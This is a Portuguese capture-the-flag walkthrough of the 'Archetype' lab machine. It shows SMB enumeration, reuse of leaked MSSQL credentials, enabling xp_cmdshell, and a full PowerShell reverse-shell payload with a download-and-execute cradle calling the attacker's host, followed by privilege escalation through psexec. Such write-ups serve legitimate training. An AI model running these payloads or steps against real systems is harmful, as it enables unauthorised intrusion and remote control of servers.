Archetype

IP: 10.10.10.27

Enumeration

# ports=$(nmap -p- --min-rate=1000 -T4 10.10.10.27 | grep ^[0-9] | cut -d '/' -f1 | tr '\n' ',' | sed s/,$//)
# nmap -sC -sV -p$ports 10.10.10.27
Starting Nmap 7.91 ( https://nmap.org ) at 2021-09-21 07:15 EDT
Nmap scan report for 10.10.10.27
Host is up (0.14s latency).

PORT      STATE SERVICE      VERSION
135/tcp   open  msrpc        Microsoft Windows RPC
139/tcp   open  netbios-ssn  Microsoft Windows netbios-ssn
445/tcp   open  microsoft-ds Windows Server 2019 Standard 17763 microsoft-ds
1433/tcp  open  ms-sql-s     Microsoft SQL Server 2017 14.00.1000.00; RTM
| ms-sql-ntlm-info: 
|   Target_Name: ARCHETYPE
|   NetBIOS_Domain_Name: ARCHETYPE
|   NetBIOS_Computer_Name: ARCHETYPE
|   DNS_Domain_Name: Archetype
|   DNS_Computer_Name: Archetype
|_  Product_Version: 10.0.17763
| ssl-cert: Subject: commonName=SSL_Self_Signed_Fallback
| Not valid before: 2021-09-21T11:13:09
|_Not valid after:  2051-09-21T11:13:09
|_ssl-date: 2021-09-21T11:41:45+00:00; +25m06s from scanner time.
5985/tcp  open  http         Microsoft HTTPAPI httpd 2.0 (SSDP/UPnP)
|_http-server-header: Microsoft-HTTPAPI/2.0
|_http-title: Not Found
47001/tcp open  http         Microsoft HTTPAPI httpd 2.0 (SSDP/UPnP)
|_http-server-header: Microsoft-HTTPAPI/2.0
|_http-title: Not Found
49664/tcp open  msrpc        Microsoft Windows RPC
49665/tcp open  msrpc        Microsoft Windows RPC
49666/tcp open  msrpc        Microsoft Windows RPC
49667/tcp open  msrpc        Microsoft Windows RPC
49668/tcp open  msrpc        Microsoft Windows RPC
49669/tcp open  msrpc        Microsoft Windows RPC
Service Info: OSs: Windows, Windows Server 2008 R2 - 2012; CPE: cpe:/o:microsoft:windows

Host script results:
|_clock-skew: mean: 1h49m07s, deviation: 3h07m51s, median: 25m06s
| ms-sql-info: 
|   10.10.10.27:1433: 
|     Version: 
|       name: Microsoft SQL Server 2017 RTM
|       number: 14.00.1000.00
|       Product: Microsoft SQL Server 2017
|       Service pack level: RTM
|       Post-SP patches applied: false
|_    TCP port: 1433
| smb-os-discovery: 
|   OS: Windows Server 2019 Standard 17763 (Windows Server 2019 Standard 6.3)
|   Computer name: Archetype
|   NetBIOS computer name: ARCHETYPE\x00
|   Workgroup: WORKGROUP\x00
|_  System time: 2021-09-21T04:41:38-07:00
| smb-security-mode: 
|   account_used: guest
|   authentication_level: user
|   challenge_response: supported
|_  message_signing: disabled (dangerous, but default)
| smb2-security-mode: 
|   2.02: 
|_    Message signing enabled but not required
| smb2-time: 
|   date: 2021-09-21T11:41:36
|_  start_date: N/A

Temos aqui um Microsoft Windows Server 2019 Standard, chamado ARCHETYPE.

As portas 445 e 1433 estão abertas. Elas estão associadas aos servidos de cmopartilhamento de arquivos (SMB) e SQL Server, respectivamente. Vamos checar se o serviço de SMB permite acesso anônimo. Eventualmente algum arquivo de configuração sensível pode estar exposto.

Vamos usar o "smbclient" para listar compartilhamento disponíveis:

# smbclient -N -L \\\\10.10.10.27\\

	Sharename       Type      Comment
	---------       ----      -------
	ADMIN$          Disk      Remote Admin
	backups         Disk      
	C$              Disk      Default share
	IPC$            IPC       Remote IPC

Vamos listas o conteúdo da pasta "backups" e ler o conteúdo do arquivo sensível:

# smbclient -N \\\\10.10.10.27\\backups
Try "help" to get a list of possible commands.
smb: \> dir
  .                                   D        0  Mon Jan 20 07:20:57 2020
  ..                                  D        0  Mon Jan 20 07:20:57 2020
  prod.dtsConfig                     AR      609  Mon Jan 20 07:23:02 2020

		10328063 blocks of size 4096. 8259171 blocks available
smb: \> get prod.dtsConfig
getting file \prod.dtsConfig of size 609 as prod.dtsConfig (1.0 KiloBytes/sec) (average 1.0 KiloBytes/sec)
smb: \> quit

O arquivo prod.dtsConfig é uma conexão configurada para o SQL Server com credenciais evidentes:

Data Source=.;Password=M3g4c0rp123;User ID=ARCHETYPE\sql_svc;Initial Catalog=Catalog;Provider=SQLNCLI10.1;Persist Security Info=True;Auto Translate=False;

Exploração

Vamos então conectar no SQL Server usando as credenciais recém descobertas:

# mssqlclient.py ARCHETYPE/sql_svc@10.10.10.27 -windows-auth
Impacket v0.9.24.dev1+20210726.180101.1636eaab - Copyright 2021 SecureAuth Corporation

Password:
[*] Encryption required, switching to TLS
[*] ENVCHANGE(DATABASE): Old Value: master, New Value: master
[*] ENVCHANGE(LANGUAGE): Old Value: , New Value: us_english
[*] ENVCHANGE(PACKETSIZE): Old Value: 4096, New Value: 16192
[*] INFO(ARCHETYPE): Line 1: Changed database context to 'master'.
[*] INFO(ARCHETYPE): Line 1: Changed language setting to us_english.
[*] ACK: Result: 1 - Microsoft SQL Server (140 3232) 
[!] Press help for extra shell commands

Vamos checar quais privilégios este usuário possui, se a query retornar "1", quer dizer que temos privilégios de adm neste banco de dados.

SQL> SELECT IS_SRVROLEMEMBER ('sysadmin')

Vamos agora habilitar no SQL a funcionalidade que nos permite executar comandos do SO. Etapa necessária para conseguirmos uma shell remota. Basta rodar a sequência de comandos abaixo no prompt do SQL:

EXEC sp_configure 'Show Advanced Options', 1;
reconfigure;
sp_configure;
EXEC sp_configure 'xp_cmdshell', 1
reconfigure;
xp_cmdshell "whoami"

Repare que, ao rodar o comando "whoami" via SQL prompt, estamos na verdade interagindo com o Windows Server alvo.

Obtendo uma shell reversa:

Vamos agora criar um arquivo malicioso chamado shell.ps1 com nosso payload para obter uma shell reversa: (lembre-se de trocar o IP e porta para sua realidade).

$client = New-Object System.Net.Sockets.TCPClient("10.10.14.76",443);$stream = $client.GetStream();[byte[]]$bytes = 0..65535|%{0};while(($i = $stream.Read($bytes, 0, $bytes.Length)) -ne 0){;$data = (New-Object -TypeName System.Text.ASCIIEncoding).GetString($bytes,0, $i);$sendback = (iex $data 2>&1 | Out-String );$sendback2 = $sendback + "# ";$sendbyte = ([text.encoding]::ASCII).GetBytes($sendback2);$stream.Write($sendbyte,0,$sendbyte.Length);$stream.Flush()};$client.Close()

Agora, via python, vamos criar um pseudo web server para levar nosso payload até a máquina alvo:

# python -m SimpleHTTPServer 80

Adicionalmente, precisamos deixar a porta 443 "ouvindo" conexões no nosso linux de atacante:

# nc -nvlp 443

Por último, no prompt de comando do SQL, vamos baixar e rodar o shell.ps1:

SQL> xp_cmdshell "powershell "IEX (New-Object Net.WebClient).DownloadString(\"http://10.10.14.76/shell.ps1\");"

Feito isso, ganhamos uma shell reversa no Windows Server 2019. Agora já podemos navegar até o Desktop do usuário "sql_svc" e pegar a primeira key do desafio:

# dir


    Directory: C:\Users\sql_svc\Desktop


Mode                LastWriteTime         Length Name                                                                  
----                -------------         ------ ----                                                                  
-ar---        2/25/2020   6:37 AM             32 user.txt                                                              


# type user.txt
3e7b102e78218e935bf3f4951fec21a3

Pós-exploração (escalação de privilégios)

Já conseguimos uma Shell Reversa no servidor alvo, mas sem privilégios administrativos.

É sempre interessante checar o histórico de comandos executados na máquina. Eventualmente alguma credencial administrativo pode ter sido usada para realizar alguma tarefa. Existe um arquivo chamado ConsoleHost_history.txt

# type C:\Users\sql_svc\AppData\Roaming\Microsoft\Windows\PowerShell\PSReadline\ConsoleHost_history.txt
net.exe use T: \\Archetype\backups /user:administrator MEGACORP_4dm1n!!

Encontramos aí a senha de administrator que foi usada recentemente para mapear um compartilhamento de rede. Vamos usar as credenciais para obter acesso administrativo através do psexec.py:

# psexec.py administrator@10.10.10.27
Impacket v0.9.24.dev1+20210726.180101.1636eaab - Copyright 2021 SecureAuth Corporation

Password:
[*] Requesting shares on 10.10.10.27.....
[*] Found writable share ADMIN$
[*] Uploading file yJlfxwJZ.exe
[*] Opening SVCManager on 10.10.10.27.....
[*] Creating service hOtR on 10.10.10.27.....
[*] Starting service hOtR.....
[!] Press help for extra shell commands
Microsoft Windows [Version 10.0.17763.107]
(c) 2018 Microsoft Corporation. All rights reserved.

C:\Windows\system32>whoami
nt authority\system

Agora que temos privilégios administrativos, podemos obter a key principal do desafio que está no desktop do usuário administrator:

C:\Users\Administrator\Desktop>type root.txt
b91ccec3305e98240082d4474b848528

Observações finais

Neste laboratório, praticamente todas as credenciais estavam expostas em arquivos acessíveis pelo atacante. No mundo real nem sempre isso acontece. De toda forma, este laboratório foi válido para testarmos ferrramentas como smbclient, mssqlclient.py e psexec.py

Last updated